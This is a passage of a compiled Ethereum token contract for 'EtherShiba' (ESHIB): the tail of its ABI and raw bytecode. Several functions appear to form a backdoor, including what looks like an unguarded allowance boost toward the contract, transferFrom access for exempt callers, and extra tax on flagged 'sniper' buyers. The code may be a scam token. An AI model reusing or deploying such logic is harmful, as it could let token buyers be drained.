ame":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"skipTheSnipas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"withdrawTokense","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawTokense","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"wl","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600a81526020017f4574686572536869626100000000000000000000000000000000000000000000815250600690816200004a919062000e7a565b506040518060400160405280600581526020017f45534849420000000000000000000000000000000000000000000000000000008152506007908162000091919062000e7a565b506103e860296b015bfc9298de952e2f400000620000b0919062000f90565b620000bc91906200100a565b6008556103e860296b015bfc9298de952e2f400000620000dd919062000f90565b620000e991906200100a565b60095561271060036b015bfc9298de952e2f4000006200010a919062000f90565b6200011691906200100a565b600a5573a3743d0809541f3575f7a36a9b0412c4bdd33b25600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060016101000a81548160ff0219169083151502179055506000601060026101000a81548160ff0219169083151502179055506000601060036101000a81548160ff02191690831515021790555060006011556000601255600060135573795f682d294555212e046aa5d17b3dd33da43d2e601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200027357600080fd5b5060068054620002839062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620002b19062000c69565b8015620003025780601f10620002d65761010080835404028352916020019162000302565b820191906000526020600020905b815481529060010190602001808311620002e457829003601f168201915b505050505060078054620003169062000c69565b80601f0160208091040260200160405190810160405280929190818152602001828054620003449062000c69565b8015620003955780601f10620003695761010080835404028352916020019162000395565b820191906000526020600020905b8154815290600101906020018083116200037757829003601f168201915b50505050508160039081620003ab919062000e7a565b508060049081620003bd919062000e7a565b505050620003e0620003d46200099160201b60201c565b6200099960201b60201c565b620003fe336b015bfc9298de952e2f40000062000a5f60201b60201c565b6003601060006101000a81548160ff0219169083600381111562000427576200042662001042565b5b02179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60006200048f62000bcc60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d600060805173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550506200115d565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000ad1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac890620010d2565b60405180910390fd5b62000ae56000838362000bf660201b60201c565b806002600082825462000af99190620010f4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000bac919062001140565b60405180910390a362000bc86000838362000bfb60201b60201c565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c8257607f821691505b60208210810362000c985762000c9762000c3a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cc3565b62000d0e868362000cc3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d5b62000d5562000d4f8462000d26565b62000d30565b62000d26565b9050919050565b6000819050919050565b62000d778362000d3a565b62000d8f62000d868262000d62565b84845462000cd0565b825550505050565b600090565b62000da662000d97565b62000db381848462000d6c565b505050565b5b8181101562000ddb5762000dcf60008262000d9c565b60018101905062000db9565b5050565b601f82111562000e2a5762000df48162000c9e565b62000dff8462000cb3565b8101602085101562000e0f578190505b62000e2762000e1e8562000cb3565b83018262000db8565b50505b505050565b600082821c905092915050565b600062000e4f6000198460080262000e2f565b1980831691505092915050565b600062000e6a838362000e3c565b9150826002028217905092915050565b62000e858262000c00565b67ffffffffffffffff81111562000ea15762000ea062000c0b565b5b62000ead825462000c69565b62000eba82828562000ddf565b600060209050601f83116001811462000ef2576000841562000edd578287015190505b62000ee9858262000e5c565b86555062000f59565b601f19841662000f028662000c9e565b60005b8281101562000f2c5784890151825560018201915060208501945060208101905062000f05565b8683101562000f4c578489015162000f48601f89168262000e3c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f9d8262000d26565b915062000faa8362000d26565b925082820262000fba8162000d26565b9150828204841483151762000fd45762000fd362000f61565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620010178262000d26565b9150620010248362000d26565b92508262001037576200103662000fdb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620010ba601f8362001071565b9150620010c78262001082565b602082019050919050565b60006020820190508181036000830152620010ed81620010ab565b9050919050565b6000620011018262000d26565b91506200110e8362000d26565b925082820190508082111562001129576200112862000f61565b5b92915050565b6200113a8162000d26565b82525050565b60006020820190506200115760008301846200112f565b92915050565b608051613bf6620011b86000396000818161096f015281816109d401528181610a7f01528181610bb201528181610bf9015281816110d4015281816112710152818161280d0152818161290601526129a90152613bf66000f3fe6080604052600436106102135760003560e01c8063715018a611610118578063a9059cbb116100a0578063dd62ed3e1161006f578063dd62ed3e14610795578063e5b37a65146107d2578063ef437ff51461080f578063f2fde38b14610838578063fca675a8146108615761021a565b8063a9059cbb146106eb578063aa4bde2814610728578063b61b64fa14610753578063c9567bf91461077e5761021a565b80638da5cb5b116100e75780638da5cb5b1461060457806395d89b411461062f5780639850e4811461065a578063a014f37d14610683578063a457c2d7146106ae5761021a565b8063715018a61461056e578063751039fc146105855780638baa82491461059c5780638c0b5e22146105d95761021a565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e146104755780634d3eaaa8146104a057806354262d26146104dd57806354b762a61461050657806370a08231146105315761021a565b8063313ce567146103b757806333ee1793146103e2578063395093511461040d5780633eb5d9b21461044a5761021a565b80631694505e116101e25780631694505e146102dd57806318160ddd1461030857806323b872dd146103335780632f396cee146103705780632fee9e7e1461037a5761021a565b806303fd2a451461021f5780630445b6671461024a57806306fdde0314610275578063095ea7b3146102a05761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461088c565b6040516102419190612a80565b60405180910390f35b34801561025657600080fd5b5061025f6108b2565b60405161026c9190612ab4565b60405180910390f35b34801561028157600080fd5b5061028a6108b8565b6040516102979190612b5f565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c29190612bde565b61094a565b6040516102d49190612c39565b60405180910390f35b3480156102e957600080fd5b506102f261096d565b6040516102ff9190612cb3565b60405180910390f35b34801561031457600080fd5b5061031d610991565b60405161032a9190612ab4565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190612cce565b61099b565b6040516103679190612c39565b60405180910390f35b6103786109ca565b005b34801561038657600080fd5b506103a1600480360381019061039c9190612d21565b610cb3565b6040516103ae9190612c39565b60405180910390f35b3480156103c357600080fd5b506103cc610cd3565b6040516103d99190612d6a565b60405180910390f35b3480156103ee57600080fd5b506103f7610cdc565b6040516104049190612ab4565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190612bde565b610ce2565b6040516104419190612c39565b60405180910390f35b34801561045657600080fd5b5061045f610d19565b60405161046c9190612ab4565b60405180910390f35b34801561048157600080fd5b5061048a610d1f565b6040516104979190612a80565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190612bde565b610d45565b6040516104d49190612c39565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff9190612d21565b610d75565b005b34801561051257600080fd5b5061051b610e9a565b6040516105289190612c39565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612d21565b610f16565b6040516105659190612ab4565b60405180910390f35b34801561057a57600080fd5b50610583610f5e565b005b34801561059157600080fd5b5061059a610f72565b005b3480156105a857600080fd5b506105c360048036038101906105be9190612d21565b610fa2565b6040516105d09190612c39565b60405180910390f35b3480156105e557600080fd5b506105ee610fc2565b6040516105fb9190612ab4565b60405180910390f35b34801561061057600080fd5b50610619610fc8565b6040516106269190612a80565b60405180910390f35b34801561063b57600080fd5b50610644610ff2565b6040516106519190612b5f565b60405180910390f35b34801561066657600080fd5b50610681600480360381019061067c9190612bde565b611084565b005b34801561068f57600080fd5b506106986113aa565b6040516106a59190612c39565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190612bde565b6113f6565b6040516106e29190612c39565b60405180910390f35b3480156106f757600080fd5b50610712600480360381019061070d9190612bde565b61146d565b60405161071f9190612c39565b60405180910390f35b34801561073457600080fd5b5061073d611490565b60405161074a9190612ab4565b60405180910390f35b34801561075f57600080fd5b50610768611496565b6040516107759190612ab4565b60405180910390f35b34801561078a57600080fd5b5061079361149c565b005b3480156107a157600080fd5b506107bc60048036038101906107b79190612d85565b61152c565b6040516107c99190612ab4565b60405180910390f35b3480156107de57600080fd5b506107f960048036038101906107f49190612d21565b6115b3565b6040516108069190612c39565b60405180910390f35b34801561081b57600080fd5b5061083660048036038101906108319190612df1565b6115d3565b005b34801561084457600080fd5b5061085f600480360381019061085a9190612d21565b611636565b005b34801561086d57600080fd5b506108766116b9565b6040516108839190612ea8565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6060600380546108c790612ef2565b80601f01602080910402602001604051908101604052809291908181526020018280546108f390612ef2565b80156109405780601f1061091557610100808354040283529160200191610940565b820191906000526020600020905b81548152906001019060200180831161092357829003601f168201915b5050505050905090565b6000806109556116cc565b90506109628185856116d4565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b6000806109a66116cc565b90506109b385828561189d565b6109be858585611929565b60019150509392505050565b6109d26122e3565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a619190612f38565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ae8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0c9190612f38565b6040518363ffffffff1660e01b8152600401610b29929190612f65565b6020604051808303816000875af1158015610b48573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6c9190612f38565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610bf7307f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6116d4565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610c3e30610f16565b600080610c49610fc8565b426040518863ffffffff1660e01b8152600401610c6b96959493929190612fc9565b60606040518083038185885af1158015610c89573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cae919061303f565b505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b600080610ced6116cc565b9050610d0e818585610cff858961152c565b610d0991906130c1565b6116d4565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080309050610d6a848285610d5b888661152c565b610d6591906130c1565b6116d4565b600191505092915050565b610d7d6122e3565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610df59190612a80565b602060405180830381865afa158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3691906130f5565b6040518363ffffffff1660e01b8152600401610e53929190613122565b6020604051808303816000875af1158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190613160565b5050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610f06573d6000803e3d6000fd5b5060006016819055506001905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f666122e3565b610f706000612361565b565b610f7a6122e3565b6b015bfc9298de952e2f4000006008819055506b015bfc9298de952e2f400000600981905550565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461100190612ef2565b80601f016020809104026020016040519081016040528092919081815260200182805461102d90612ef2565b801561107a5780601f1061104f5761010080835404028352916020019161107a565b820191906000526020600020905b81548152906001019060200180831161105d57829003601f168201915b5050505050905090565b6000600267ffffffffffffffff8111156110a1576110a061318d565b5b6040519080825280602002602001820160405280156110cf5781602001602082028036833780820191505090505b5090507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561113d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111619190612f38565b81600081518110611175576111746131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106111c4576111c36131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600081600181518110611214576112136131bc565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611307577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016112d094939291906132a9565b6000604051808303818588803b1580156112e957600080fd5b505af11580156112fd573d6000803e3d6000fd5b50505050506113a4565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd8584600181518110611338576113376131bc565b5b6020026020010151866040518463ffffffff1660e01b815260040161135f939291906132f5565b6020604051808303816000875af115801561137e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a29190613160565b505b50505050565b60006113b46122e3565b6003601060006101000a81548160ff021916908360038111156113da576113d9612e31565b5b0217905550600060118190555060006012819055506001905090565b6000806114016116cc565b9050600061140f828661152c565b905083811015611454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144b9061339e565b60405180910390fd5b61146182868684036116d4565b60019250505092915050565b6000806114786116cc565b9050611485818585611929565b600191505092915050565b60095481565b60165481565b6114a46122e3565b601060029054906101000a900460ff16156114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb9061340a565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6115db6122e3565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61163e6122e3565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a49061349c565b60405180910390fd5b6116b681612361565b50565b601060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173a9061352e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a9906135c0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118909190612ab4565b60405180910390a3505050565b60006118a9848461152c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146119235781811015611915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190c9061362c565b60405180910390fd5b61192284848484036116d4565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90613750565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611aab5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b0057601060029054906101000a900460ff16611aff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af6906137bc565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ba45750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c9d57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c9c57600854811115611c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3a9061384e565b60405180910390fd5b600954611c4f83610f16565b82611c5a91906130c1565b1115611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c92906138e0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d465750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122d257601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611df45750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156121e457600854821115611e3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3590613972565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611ee55750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f1d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fef5760006003811115611f3657611f35612e31565b5b601060009054906101000a900460ff166003811115611f5857611f57612e31565b5b03611fb6576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611fc89190613992565b611fd29190613a03565b9050611fdf853083612427565b8083611feb9190613a34565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120965750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120ce57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120e65750601060039054906101000a900460ff165b80156120ff5750601060019054906101000a900460ff16155b156121df576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036121695760135490505b6001601060016101000a81548160ff02191690831515021790555061218c61269d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121b79190613992565b6121c19190613a03565b90506121ce863083612427565b80846121da9190613a34565b925050505b6122d1565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561229257508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b156122d05760006064601354846122a99190613992565b6122b39190613a03565b90506122c0853083612427565b80836122cc9190613a34565b9150505b5b5b6122dd848483612427565b50505050565b6122eb6116cc565b73ffffffffffffffffffffffffffffffffffffffff16612309610fc8565b73ffffffffffffffffffffffffffffffffffffffff161461235f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235690613ab4565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d906136be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613750565b60405180910390fd5b612510838383612764565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d90613b46565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126849190612ab4565b60405180910390a3612697848484612769565b50505050565b60006126a830610f16565b0315612762576000806126ba30610f16565b9050600047905060006126ee600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f16565b90506000600a5484111561275c5747925061270a84600061276e565b82476127169190613a34565b9450600a54821115612742578061272e576000612730565b845b8561273b9190613a03565b6016819055505b846016600082825461275491906130c1565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561278b5761278a61318d565b5b6040519080825280602002602001820160405280156127b95781602001602082028036833780820191505090505b50905030816000815181106127d1576127d06131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612876573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061289a9190612f38565b816001815181106128ae576128ad6131bc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f00000000000000000000000000000000000000000000000000000000000000007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612963929190613122565b6020604051808303816000875af1158015612982573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129a69190613160565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b8152600401612a08959493